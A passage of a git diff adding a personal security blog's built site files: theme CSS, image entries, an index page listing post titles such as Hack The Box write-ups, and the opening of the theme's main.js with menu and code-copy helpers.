0.8em; + font-size: larger; +} +.note.blue:not(.disabled) { + border-left-color: #428bca !important; +} +.note.blue:not(.disabled).modern { + border-left-color: transparent !important; + color: #428bca; +} +.note.blue:not(.disabled):not(.simple) { + background: #e3eef7 !important; +} +.note.blue > .note-icon { + color: #428bca; +} +.note.pink:not(.disabled) { + border-left-color: #ff69b4 !important; +} +.note.pink:not(.disabled).modern { + border-left-color: transparent !important; + color: #ff69b4; +} +.note.pink:not(.disabled):not(.simple) { + background: #ffe9f4 !important; +} +.note.pink > .note-icon { + color: #ff69b4; +} +.note.red:not(.disabled) { + border-left-color: #f00 !important; +} +.note.red:not(.disabled).modern { + border-left-color: transparent !important; + color: #f00; +} +.note.red:not(.disabled):not(.simple) { + background: #ffd9d9 !important; +} +.note.red > .note-icon { + color: #f00; +} +.note.purple:not(.disabled) { + border-left-color: #6f42c1 !important; +} +.note.purple:not(.disabled).modern { + border-left-color: transparent !important; + color: #6f42c1; +} +.note.purple:not(.disabled):not(.simple) { + background: #e9e3f6 !important; +} +.note.purple > .note-icon { + color: #6f42c1; +} +.note.orange:not(.disabled) { + border-left-color: #ff8c00 !important; +} +.note.orange:not(.disabled).modern { + border-left-color: transparent !important; + color: #ff8c00; +} +.note.orange:not(.disabled):not(.simple) { + background: #ffeed9 !important; +} +.note.orange > .note-icon { + color: #ff8c00; +} +.note.green:not(.disabled) { + border-left-color: #5cb85c !important; +} +.note.green:not(.disabled).modern { + border-left-color: transparent !important; + color: #5cb85c; +} +.note.green:not(.disabled):not(.simple) { + background: #e7f4e7 !important; +} +.note.green > .note-icon { + color: #5cb85c; +} +.note.simple { + border: 1px solid #eee; + border-left-width: 5px; +} +.note.modern { + border: 1px solid transparent !important; + background-color: #f5f5f5; + color: #4c4948; +} +.note.flat { + border: initial; + border-left: 5px solid #eee; + background-color: #f9f9f9; + color: #4c4948; +} +.note h2, +.note h3, +.note h4, +.note h5, +.note h6 { + margin-top: 3px; + margin-bottom: 0; + padding-top: 0 !important; + border-bottom: initial; +} +.note p:first-child, +.note ul:first-child, +.note ol:first-child, +.note table:first-child, +.note pre:first-child, +.note blockquote:first-child, +.note img:first-child { + margin-top: 0 !important; +} +.note p:last-child, +.note ul:last-child, +.note ol:last-child, +.note table:last-child, +.note pre:last-child, +.note blockquote:last-child, +.note img:last-child { + margin-bottom: 0 !important; +} +.note .img-alt { + margin: 5px 0 10px; +} +.note:not(.no-icon) { + padding-left: 3em; +} +.note:not(.no-icon)::before { + position: absolute; + top: calc(50% - 0.95em); + left: 0.8em; + font-size: larger; +} +.note.default.flat { + background: #f7f7f7; +} +.note.default.modern { + border-color: #e1e1e1; + background: #f3f3f3; + color: #666; +} +.note.default.modern a:not(.btn) { + color: #666; +} +.note.default.modern a:not(.btn):hover { + color: #454545; +} +.note.default:not(.modern) { + border-left-color: #777; +} +.note.default:not(.modern) h2, +.note.default:not(.modern) h3, +.note.default:not(.modern) h4, +.note.default:not(.modern) h5, +.note.default:not(.modern) h6 { + color: #777; +} +.note.default:not(.no-icon)::before { + content: '\f0a9'; +} +.note.default:not(.no-icon):not(.modern)::before { + color: #777; +} +.note.primary.flat { + background: #f5f0fa; +} +.note.primary.modern { + border-color: #e1c2ff; + background: #f3daff; + color: #6f42c1; +} +.note.primary.modern a:not(.btn) { + color: #6f42c1; +} +.note.primary.modern a:not(.btn):hover { + color: #453298; +} +.note.primary:not(.modern) { + border-left-color: #6f42c1; +} +.note.primary:not(.modern) h2, +.note.primary:not(.modern) h3, +.note.primary:not(.modern) h4, +.note.primary:not(.modern) h5, +.note.primary:not(.modern) h6 { + color: #6f42c1; +} +.note.primary:not(.no-icon)::before { + content: '\f055'; +} +.note.primary:not(.no-icon):not(.modern)::before { + color: #6f42c1; +} +.note.info.flat { + background: #eef7fa; +} +.note.info.modern { + border-color: #b3e5ef; + background: #d9edf7; + color: #31708f; +} +.note.info.modern a:not(.btn) { + color: #31708f; +} +.note.info.modern a:not(.btn):hover { + color: #215761; +} +.note.info:not(.modern) { + border-left-color: #428bca; +} +.note.info:not(.modern) h2, +.note.info:not(.modern) h3, +.note.info:not(.modern) h4, +.note.info:not(.modern) h5, +.note.info:not(.modern) h6 { + color: #428bca; +} +.note.info:not(.no-icon)::before { + content: '\f05a'; +} +.note.info:not(.no-icon):not(.modern)::before { + color: #428bca; +} +.note.success.flat { + background: #eff8f0; +} +.note.success.modern { + border-color: #d0e6be; + background: #dff0d8; + color: #3c763d; +} +.note.success.modern a:not(.btn) { + color: #3c763d; +} +.note.success.modern a:not(.btn):hover { + color: #32562c; +} +.note.success:not(.modern) { + border-left-color: #5cb85c; +} +.note.success:not(.modern) h2, +.note.success:not(.modern) h3, +.note.success:not(.modern) h4, +.note.success:not(.modern) h5, +.note.success:not(.modern) h6 { + color: #5cb85c; +} +.note.success:not(.no-icon)::before { + content: '\f058'; +} +.note.success:not(.no-icon):not(.modern)::before { + color: #5cb85c; +} +.note.warning.flat { + background: #fdf8ea; +} +.note.warning.modern { + border-color: #fae4cd; + background: #fcf4e3; + color: #8a6d3b; +} +.note.warning.modern a:not(.btn) { + color: #8a6d3b; +} +.note.warning.modern a:not(.btn):hover { + color: #714f30; +} +.note.warning:not(.modern) { + border-left-color: #f0ad4e; +} +.note.warning:not(.modern) h2, +.note.warning:not(.modern) h3, +.note.warning:not(.modern) h4, +.note.warning:not(.modern) h5, +.note.warning:not(.modern) h6 { + color: #f0ad4e; +} +.note.warning:not(.no-icon)::before { + content: '\f06a'; +} +.note.warning:not(.no-icon):not(.modern)::before { + color: #f0ad4e; +} +.note.danger.flat { + background: #fcf1f2; +} +.note.danger.modern { + border-color: #ebcdd2; + background: #f2dfdf; + color: #a94442; +} +.note.danger.modern a:not(.btn) { + color: #a94442; +} +.note.danger.modern a:not(.btn):hover { + color: #84333f; +} +.note.danger:not(.modern) { + border-left-color: #d9534f; +} +.note.danger:not(.modern) h2, +.note.danger:not(.modern) h3, +.note.danger:not(.modern) h4, +.note.danger:not(.modern) h5, +.note.danger:not(.modern) h6 { + color: #d9534f; +} +.note.danger:not(.no-icon)::before { + content: '\f056'; +} +.note.danger:not(.no-icon):not(.modern)::before { + color: #d9534f; +} +#article-container .tabs { + position: relative; + margin: 0 0 20px; + border-right: 1px solid var(--tab-border-color); + border-bottom: 1px solid var(--tab-border-color); + border-left: 1px solid var(--tab-border-color); +} +#article-container .tabs > .nav-tabs { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-lines: multiple; + -moz-box-lines: multiple; + -o-box-lines: multiple; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin: 0; + padding: 0; + background: var(--tab-botton-bg); +} +#article-container .tabs > .nav-tabs > .tab { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + -ms-box-flex: 1; + box-flex: 1; + -webkit-flex-grow: 1; + flex-grow: 1; + padding: 8px 18px; + border-top: 2px solid var(--tab-border-color); + background: var(--tab-botton-bg); + color: var(--tab-botton-color); + line-height: 2; + -webkit-transition: all 0.4s; + -moz-transition: all 0.4s; + -o-transition: all 0.4s; + -ms-transition: all 0.4s; + transition: all 0.4s; +} +#article-container .tabs > .nav-tabs > .tab i { + width: 1.5em; +} +#article-container .tabs > .nav-tabs > .tab.active { + border-top: 2px solid #49b1f5; + background: var(--tab-button-active-bg); + cursor: default; +} +#article-container .tabs > .nav-tabs > .tab:not(.active):hover { + border-top: 2px solid var(--tab-button-hover-bg); + background: var(--tab-button-hover-bg); +} +#article-container .tabs > .nav-tabs.no-default ~ .tab-to-top { + display: none; +} +#article-container .tabs > .tab-contents .tab-item-content { + position: relative; + display: none; + padding: 36px 24px 10px; +} +@media screen and (max-width: 768px) { + #article-container .tabs > .tab-contents .tab-item-content { + padding: 24px 14px; + } +} +#article-container .tabs > .tab-contents .tab-item-content.active { + display: block; + -webkit-animation: tabshow 0.5s; + -moz-animation: tabshow 0.5s; + -o-animation: tabshow 0.5s; + -ms-animation: tabshow 0.5s; + animation: tabshow 0.5s; +} +#article-container .tabs > .tab-contents .tab-item-content > :last-child { + margin-bottom: 0; +} +#article-container .tabs > .tab-to-top { + padding: 0 16px 10px 0; + width: 100%; + text-align: right; +} +#article-container .tabs > .tab-to-top button { + color: #99a9bf; +} +#article-container .tabs > .tab-to-top button:hover { + color: #49b1f5; +} +@-moz-keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +#article-container .timeline { + margin: 0 0 20px 10px; + padding: 14px 20px 5px; + border-left: 2px solid var(--timeline-color, #49b1f5); +} +#article-container .timeline.blue { + --timeline-color: #428bca; + --timeline-bg: rgba(66,139,202, 0.2); +} +#article-container .timeline.pink { + --timeline-color: #ff69b4; + --timeline-bg: rgba(255,105,180, 0.2); +} +#article-container .timeline.red { + --timeline-color: #f00; + --timeline-bg: rgba(255,0,0, 0.2); +} +#article-container .timeline.purple { + --timeline-color: #6f42c1; + --timeline-bg: rgba(111,66,193, 0.2); +} +#article-container .timeline.orange { + --timeline-color: #ff8c00; + --timeline-bg: rgba(255,140,0, 0.2); +} +#article-container .timeline.green { + --timeline-color: #5cb85c; + --timeline-bg: rgba(92,184,92, 0.2); +} +#article-container .timeline .timeline-item { + margin: 0 0 15px; +} +#article-container .timeline .timeline-item:hover .item-circle:before { + border-color: var(--timeline-color, #49b1f5); +} +#article-container .timeline .timeline-item.headline .timeline-item-title .item-circle > p { + font-weight: 600; + font-size: 1.2em; +} +#article-container .timeline .timeline-item.headline .timeline-item-title .item-circle:before { + left: -28px; + border: 4px solid var(--timeline-color, #49b1f5); +} +#article-container .timeline .timeline-item.headline:hover .item-circle:before { + border-color: var(--pseudo-hover); +} +#article-container .timeline .timeline-item .timeline-item-title { + position: relative; +} +#article-container .timeline .timeline-item .item-circle:before { + position: absolute; + top: 50%; + left: -27px; + width: 6px; + height: 6px; + border: 3px solid var(--pseudo-hover); + border-radius: 50%; + background: var(--card-bg); + content: ''; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; + -webkit-transform: translate(0, -50%); + -moz-transform: translate(0, -50%); + -o-transform: translate(0, -50%); + -ms-transform: translate(0, -50%); + transform: translate(0, -50%); +} +#article-container .timeline .timeline-item .item-circle > p { + margin: 0 0 8px; + font-weight: 500; +} +#article-container .timeline .timeline-item .timeline-item-content { + position: relative; + padding: 12px 15px; + border-radius: 8px; + background: var(--timeline-bg, #e4f3fd); + font-size: 0.93em; +} +#article-container .timeline .timeline-item .timeline-item-content > :last-child { + margin-bottom: 0; +} +#article-container .timeline + .timeline { + margin-top: -20px; +} +[data-theme='dark'] { + --global-bg: #0d0d0d; + --font-color: rgba(255,255,255,0.7); + --hr-border: rgba(255,255,255,0.4); + --hr-before-color: rgba(255,255,255,0.7); + --search-bg: #121212; + --search-input-color: rgba(255,255,255,0.7); + --search-a-color: rgba(255,255,255,0.7); + --preloader-bg: #0d0d0d; + --preloader-color: rgba(255,255,255,0.7); + --tab-border-color: #2c2c2c; + --tab-botton-bg: #2c2c2c; + --tab-botton-color: rgba(255,255,255,0.7); + --tab-button-hover-bg: #383838; + --tab-button-active-bg: #121212; + --card-bg: #121212; + --sidebar-bg: #121212; + --btn-hover-color: #787878; + --btn-color: rgba(255,255,255,0.7); + --btn-bg: #1f1f1f; + --text-bg-hover: #383838; + --light-grey: rgba(255,255,255,0.7); + --dark-grey: rgba(255,255,255,0.2); + --white: rgba(255,255,255,0.9); + --text-highlight-color: rgba(255,255,255,0.9); + --blockquote-color: rgba(255,255,255,0.7); + --blockquote-bg: #2c2c2c; + --reward-pop: #2c2c2c; + --toc-link-color: rgba(255,255,255,0.6); + --scrollbar-color: #525252; + --timeline-bg: #1f1f1f; + --zoom-bg: #121212; + --mark-bg: rgba(0,0,0,0.6); +} +[data-theme='dark'] #web_bg:before { + position: absolute; + width: 100%; + height: 100%; + background-color: rgba(0,0,0,0.7); + content: ''; +} +[data-theme='dark'] #article-container code { + background: #2c2c2c; +} +[data-theme='dark'] #article-container pre > code { + background: #171717; +} +[data-theme='dark'] #article-container figure.highlight { + -webkit-box-shadow: none; + box-shadow: none; +} +[data-theme='dark'] #article-container .note code { + background: rgba(27,31,35,0.05); +} +[data-theme='dark'] #article-container .aplayer { + filter: brightness(0.8); +} +[data-theme='dark'] #article-container kbd { + border-color: #696969; + background-color: #525252; + color: #e2f1ff; +} +[data-theme='dark'] #page-header.nav-fixed > #nav, +[data-theme='dark'] #page-header.not-top-img > #nav { + background: rgba(18,18,18,0.8); + -webkit-box-shadow: 0 5px 6px -5px rgba(133,133,133,0); + box-shadow: 0 5px 6px -5px rgba(133,133,133,0); +} +[data-theme='dark'] #post-comment .comment-switch { + background: #2c2c2c !important; +} +[data-theme='dark'] #post-comment .comment-switch #switch-btn { + filter: brightness(0.8); +} +[data-theme='dark'] .note { + filter: brightness(0.8); +} +[data-theme='dark'] .hide-button, +[data-theme='dark'] .btn-beautify, +[data-theme='dark'] .hl-label, +[data-theme='dark'] .post-outdate-notice, +[data-theme='dark'] .error-img, +[data-theme='dark'] #article-container iframe, +[data-theme='dark'] .gist, +[data-theme='dark'] .ads-wrap { + filter: brightness(0.8); +} +[data-theme='dark'] img { + filter: brightness(0.8); +} +[data-theme='dark'] #aside-content .aside-list > .aside-list-item:not(:last-child) { + border-bottom: 1px dashed rgba(255,255,255,0.1); +} +[data-theme='dark'] #gitalk-container { + filter: brightness(0.8); +} +[data-theme='dark'] #gitalk-container svg { + fill: rgba(255,255,255,0.9) !important; +} +[data-theme='dark'] #disqusjs #dsqjs:hover, +[data-theme='dark'] #disqusjs #dsqjs:focus, +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-tab-active, +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-no-comment { + color: rgba(255,255,255,0.7); +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-order-label { + background-color: #1f1f1f; +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body { + color: rgba(255,255,255,0.7); +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body code, +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body pre { + background: #2c2c2c; +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body blockquote { + color: rgba(255,255,255,0.7); +} +[data-theme='dark'] #artitalk_main #lazy { + background: #121212; +} +[data-theme='dark'] #operare_artitalk .c2 { + background: #121212; +} +@media screen and (max-width: 900px) { + [data-theme='dark'] #card-toc { + background: #1f1f1f; + } +} +.read-mode { + --font-color: #4c4948; + --readmode-light-color: #fff; + --white: #4c4948; + --light-grey: #4c4948; + --gray: #d6dbdf; + --hr-border: #d6dbdf; + --hr-before-color: #b9c2c9; + --highlight-bg: #f7f7f7; + --exit-btn-bg: #c0c0c0; + --exit-btn-color: #fff; + --exit-btn-hover: #8d8d8d; + --pseudo-hover: none; +} +[data-theme='dark'] .read-mode { + --font-color: rgba(255,255,255,0.7); + --readmode-light-color: #0d0d0d; + --white: rgba(255,255,255,0.9); + --light-grey: rgba(255,255,255,0.7); + --gray: rgba(255,255,255,0.7); + --hr-border: rgba(255,255,255,0.5); + --hr-before-color: rgba(255,255,255,0.7); + --highlight-bg: #171717; + --exit-btn-bg: #1f1f1f; + --exit-btn-color: rgba(255,255,255,0.9); + --exit-btn-hover: #525252; +} +.read-mode { + background: var(--readmode-light-color); +} +.read-mode .exit-readmode { + position: fixed; + top: 30px; + right: 30px; + z-index: 100; + width: 40px; + height: 40px; + border-radius: 8px; + background: var(--exit-btn-bg); + color: var(--exit-btn-color); + font-size: 16px; + -webkit-transition: background 0.3s; + -moz-transition: background 0.3s; + -o-transition: background 0.3s; + -ms-transition: background 0.3s; + transition: background 0.3s; +} +@media screen and (max-width: 768px) { + .read-mode .exit-readmode { + top: initial; + bottom: 30px; + } +} +.read-mode .exit-readmode:hover { + background: var(--exit-btn-hover); +} +.read-mode #aside-content { + display: none; +} +.read-mode #page-header.post-bg { + background: none !important; +} +.read-mode #page-header.post-bg:before { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +.read-mode #page-header.post-bg > #post-info { + text-align: center; +} +.read-mode #post { + margin: 0 auto; + background: transparent; + -webkit-box-shadow: none; + box-shadow: none; +} +.read-mode #post:hover { + -webkit-box-shadow: none; + box-shadow: none; +} +.read-mode > canvas { + display: none !important; +} +.read-mode .highlight-tools, +.read-mode #footer, +.read-mode #post > *:not(#post-info):not(.post-content), +.read-mode #nav, +.read-mode .post-outdate-notice, +.read-mode #web_bg, +.read-mode #rightside, +.read-mode .not-top-img { + display: none !important; +} +.read-mode #article-container a { + color: #99a9bf; +} +.read-mode #article-container pre, +.read-mode #article-container .highlight:not(.js-file-line-container) { + background: var(--highlight-bg) !important; +} +.read-mode #article-container pre *, +.read-mode #article-container .highlight:not(.js-file-line-container) * { + color: var(--font-color) !important; +} +.read-mode #article-container figure.highlight { + border-radius: 0 !important; + -webkit-box-shadow: none !important; + box-shadow: none !important; +} +.read-mode #article-container figure.highlight > :not(.highlight-tools) { + display: block !important; +} +.read-mode #article-container figure.highlight .line:before { + color: var(--font-color) !important; +} +.read-mode #article-container figure.highlight .hljs { + background: var(--highlight-bg) !important; +} +.read-mode #article-container h1, +.read-mode #article-container h2, +.read-mode #article-container h3, +.read-mode #article-container h4, +.read-mode #article-container h5, +.read-mode #article-container h6 { + padding: 0; +} +.read-mode #article-container h1:before, +.read-mode #article-container h2:before, +.read-mode #article-container h3:before, +.read-mode #article-container h4:before, +.read-mode #article-container h5:before, +.read-mode #article-container h6:before { + content: ''; +} +.read-mode #article-container h1:hover, +.read-mode #article-container h2:hover, +.read-mode #article-container h3:hover, +.read-mode #article-container h4:hover, +.read-mode #article-container h5:hover, +.read-mode #article-container h6:hover { + padding: 0; +} +.read-mode #article-container ul:hover:before, +.read-mode #article-container li:hover:before, +.read-mode #article-container ol:hover:before { + -webkit-transform: none !important; + -moz-transform: none !important; + -o-transform: none !important; + -ms-transform: none !important; + transform: none !important; +} +.read-mode #article-container ol:before, +.read-mode #article-container li:before { + background: transparent !important; + color: var(--font-color) !important; +} +.read-mode #article-container ul >li:before { + border-color: var(--gray) !important; +} +.read-mode #article-container .tabs { + border: 2px solid var(--tab-border-color); +} +.read-mode #article-container .tabs > .nav-tabs { + background: transparent; +} +.read-mode #article-container .tabs > .nav-tabs > .tab { + border-top: none !important; +} +.read-mode #article-container .tabs > .tab-contents .tab-item-content.active { + -webkit-animation: none; + -moz-animation: none; + -o-animation: none; + -ms-animation: none; + animation: none; +} +.read-mode #article-container code { + color: var(--font-color); +} +.read-mode #article-container blockquote { + border-color: var(--gray); + background-color: var(--readmode-light-color); +} +.read-mode #article-container kbd { + border: 1px solid var(--gray); + background-color: transparent; + -webkit-box-shadow: none; + box-shadow: none; + color: var(--font-color); +} +.read-mode #article-container .hide-toggle { + border: 1px solid var(--gray) !important; +} +.read-mode #article-container .hide-button, +.read-mode #article-container .btn-beautify, +.read-mode #article-container .hl-label { + border: 1px solid var(--gray) !important; + background: var(--readmode-light-color) !important; + color: var(--font-color) !important; +} +.read-mode #article-container .note { + border: 2px solid var(--gray); + border-left-color: var(--gray) !important; + filter: none; + background-color: var(--readmode-light-color) !important; + color: var(--font-color); +} +.read-mode #article-container .note:before, +.read-mode #article-container .note .note-icon { + color: var(--font-color); +} +.search-dialog { + position: fixed; + top: 10%; + left: 50%; + z-index: 1001; + display: none; + margin-left: -300px; + padding: 20px; + width: 600px; + border-radius: 8px; + background: var(--search-bg); + --search-height: 100vh; +} +@media screen and (max-width: 768px) { + .search-dialog { + top: 0; + left: 0; + margin: 0; + width: 100%; + height: 100%; + border-radius: 0; + } +} +.search-dialog hr { + margin: 20px auto; +} +.search-dialog .search-nav { + margin: 0 0 14px; + color: #49b1f5; + font-size: 1.4em; + line-height: 1; +} +.search-dialog .search-nav .search-dialog-title { + margin-right: 10px; +} +.search-dialog .search-nav .search-close-button { + float: right; + color: #858585; + -webkit-transition: color 0.2s ease-in-out; + -moz-transition: color 0.2s ease-in-out; + -o-transition: color 0.2s ease-in-out; + -ms-transition: color 0.2s ease-in-out; + transition: color 0.2s ease-in-out; +} +.search-dialog .search-nav .search-close-button:hover { + color: #49b1f5; +} +.search-dialog hr { + margin: 20px auto; +} +#search-mask { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1000; + display: none; + background: rgba(0,0,0,0.6); +} +#local-search .search-dialog .local-search-box { + margin: 0 auto; + max-width: 100%; + width: 100%; +} +#local-search .search-dialog .local-search-box input { + padding: 5px 14px; + width: 100%; + outline: none; + border: 2px solid #49b1f5; + border-radius: 40px; + background: var(--search-bg); + color: var(--search-input-color); + -webkit-appearance: none; +} +#local-search .search-dialog .search-wrap { + display: none; +} +#local-search .search-dialog .local-search-hit-item { + position: relative; + padding-left: 24px; + line-height: 1.7; +} +#local-search .search-dialog .local-search-hit-item:hover:before { + border-color: var(--pseudo-hover); +} +#local-search .search-dialog .local-search-hit-item:before { + position: absolute; + top: 0.45em; + left: 0; + width: 0.5em; + height: 0.5em; + border: 3px solid #49b1f5; + border-radius: 0.5em; + background: transparent; + content: ''; + line-height: 0.5em; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +#local-search .search-dialog .local-search-hit-item a { + display: block; + color: var(--search-a-color); +} +#local-search .search-dialog .local-search-hit-item a:hover { + color: #49b1f5; +} +#local-search .search-dialog .local-search-hit-item .search-result-title { + font-weight: 600; +} +#local-search .search-dialog .local-search-hit-item .search-result { + margin: 0 0 8px; + word-break: break-word; +} +#local-search .search-dialog .search-result-list { + overflow-y: overlay; + margin: 0 -20px; + padding: 0 22px; + max-height: calc(80vh - 200px); +} +@media screen and (max-width: 768px) { + #local-search .search-dialog .search-result-list { + max-height: calc(var(--search-height) - 220px) !important; + } +} +.search-keyword { + background: transparent; + color: #f47466; + font-weight: bold; +} diff --git a/css/var.css b/css/var.css new file mode 100644 index 000000000..e69de29bb diff --git a/img/1.jpg b/img/1.jpg new file mode 100644 index 000000000..f89f481de Binary files /dev/null and b/img/1.jpg differ diff --git a/img/404.jpg b/img/404.jpg new file mode 100644 index 000000000..4bab3c3f2 Binary files /dev/null and b/img/404.jpg differ diff --git a/img/HTB.png b/img/HTB.png new file mode 100644 index 000000000..5534ae83e Binary files /dev/null and b/img/HTB.png differ diff --git a/img/favicon.png b/img/favicon.png new file mode 100644 index 000000000..862ebe858 Binary files /dev/null and b/img/favicon.png differ diff --git a/img/friend_404.gif b/img/friend_404.gif new file mode 100644 index 000000000..91dd56a28 Binary files /dev/null and b/img/friend_404.gif differ diff --git a/img/hello.png b/img/hello.png new file mode 100644 index 000000000..443482f24 Binary files /dev/null and b/img/hello.png differ diff --git a/img/icon-H.png b/img/icon-H.png new file mode 100644 index 000000000..2dd152616 Binary files /dev/null and b/img/icon-H.png differ diff --git a/img/tou.jpg b/img/tou.jpg new file mode 100644 index 000000000..71787fc82 Binary files /dev/null and b/img/tou.jpg differ diff --git a/img/touxiang.jpg b/img/touxiang.jpg new file mode 100644 index 000000000..dad0fd3d1 Binary files /dev/null and b/img/touxiang.jpg differ diff --git a/img/wallhaven-39mdy3.jpg b/img/wallhaven-39mdy3.jpg new file mode 100644 index 000000000..6b6596c26 Binary files /dev/null and b/img/wallhaven-39mdy3.jpg differ diff --git a/img/weini.jpg b/img/weini.jpg new file mode 100644 index 000000000..7a5a7cb96 Binary files /dev/null and b/img/weini.jpg differ diff --git a/index.html b/index.html new file mode 100644 index 000000000..7cff3f2f3 --- /dev/null +++ b/index.html @@ -0,0 +1,262 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    HTB_Help
    HTB_Bizness
    Log4jShell事件
    HTB_MetaTwo
    ChatGPT 接入微信实践
    xray之以CVE-2023-42442为例POC编写
    WAF
    Firefox安装证书的几种方式
    SOC和SIEM建设
    2023年展望
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/js/main.js b/js/main.js new file mode 100644 index 000000000..a22b57f54 --- /dev/null +++ b/js/main.js @@ -0,0 +1,879 @@ +document.addEventListener('DOMContentLoaded', function () { + let headerContentWidth, $nav + let mobileSidebarOpen = false + + const adjustMenu = init => { + const getAllWidth = ele => { + return Array.from(ele).reduce((width, i) => width + i.offsetWidth, 0) + } + + if (init) { + const blogInfoWidth = getAllWidth(document.querySelector('#blog-info > a').children) + const menusWidth = getAllWidth(document.getElementById('menus').children) + headerContentWidth = blogInfoWidth + menusWidth + $nav = document.getElementById('nav') + } + + const hideMenuIndex = window.innerWidth <= 768 || headerContentWidth > $nav.offsetWidth - 120 + $nav.classList.toggle('hide-menu', hideMenuIndex) + } + + // 初始化header + const initAdjust = () => { + adjustMenu(true) + $nav.classList.add('show') + } + + // sidebar menus + const sidebarFn = { + open: () => { + btf.sidebarPaddingR() + document.body.style.overflow = 'hidden' + btf.animateIn(document.getElementById('menu-mask'), 'to_show 0.5s') + document.getElementById('sidebar-menus').classList.add('open') + mobileSidebarOpen = true + }, + close: () => { + const $body = document.body + $body.style.overflow = '' + $body.style.paddingRight = '' + btf.animateOut(document.getElementById('menu-mask'), 'to_hide 0.5s') + document.getElementById('sidebar-menus').classList.remove('open') + mobileSidebarOpen = false + } + } + + /** + * 首頁top_img底下的箭頭 + */ + const scrollDownInIndex = () => { + const handleScrollToDest = () => { + btf.scrollToDest(document.getElementById('content-inner').offsetTop, 300) + } + + const $scrollDownEle = document.getElementById('scroll-down') + $scrollDownEle && btf.addEventListenerPjax($scrollDownEle, 'click', handleScrollToDest) + } + + /** + * 代碼 + * 只適用於Hexo默認的代碼渲染 + */ + const addHighlightTool = () => { + const highLight = GLOBAL_CONFIG.highlight + if (!highLight) return + + const { highlightCopy, highlightLang, highlightHeightLimit, plugin } = highLight + const isHighlightShrink = GLOBAL_CONFIG_SITE.isHighlightShrink + const isShowTool = highlightCopy || highlightLang || isHighlightShrink !== undefined + const $figureHighlight = plugin === 'highlighjs' ? document.querySelectorAll('figure.highlight') : document.querySelectorAll('pre[class*="language-"]') + + if (!((isShowTool || highlightHeightLimit) && $figureHighlight.length)) return + + const isPrismjs = plugin === 'prismjs' + const highlightShrinkClass = isHighlightShrink === true ? 'closed' : '' + const highlightShrinkEle = isHighlightShrink !== undefined ? '' : '' + const highlightCopyEle = highlightCopy ? '
    ' : '' + + const copy = (text, ctx) => { + if (document.queryCommandSupported && document.queryCommandSupported('copy')) { + document.execCommand('copy') + if (GLOBAL_CONFIG.Snackbar !== undefined) { + btf.snackbarShow(GLOBAL_CONFIG.copy.success) + } else { + const prevEle = ctx.previousElementSibling + prevEle.textContent = GLOBAL_CONFIG.copy.success + prevEle.style.opacity = 1 + setTimeout(() => { prevEle.style.opacity = 0 }, 700) + } + } else { + if (GLOBAL_CONFIG.Snackbar !== undefined) { + btf.snackbarShow(GLOBAL_CONFIG.copy.noSupport) + } else { + ctx.previousElementSibling.textContent = GLOBAL_CONFIG.copy.noSupport + } + } + } + + // click events + const highlightCopyFn = ele => { + const $buttonParent = ele.parentNode + $buttonParent.classList.add('copy-true') + const selection = window.getSelection() + const range = document.createRange() + const preCodeSelector = isPrismjs ? 'pre code' : 'table .code pre' + range.selectNodeContents($buttonParent.querySelectorAll(`${preCodeSelector}`)[0]) + selection.removeAllRanges() + selection.addRange(range) + const text = selection.toString() + copy(text, ele.lastChild) + selection.removeAllRanges() + $buttonParent.classList.remove('copy-true') + } + + const highlightShrinkFn = ele => { + ele.classList.toggle('closed') + } + + const highlightToolsFn = function (e) { + const $target = e.target.classList + if ($target.contains('expand')) highlightShrinkFn(this) + else if ($target.contains('copy-button')) highlightCopyFn(this) + } + + const expandCode = function () { + this.classList.toggle('expand-done') + } + + const createEle = (lang, item, service) => { + const fragment = document.createDocumentFragment() + + if (isShowTool) { + const hlTools = document.createElement('div') + hlTools.className = `highlight-tools ${highlightShrinkClass}` + hlTools.innerHTML = highlightShrinkEle + lang + highlightCopyEle + btf.addEventListenerPjax(hlTools, 'click', highlightToolsFn) + fragment.appendChild(hlTools) + } + + if (highlightHeightLimit && item.offsetHeight > 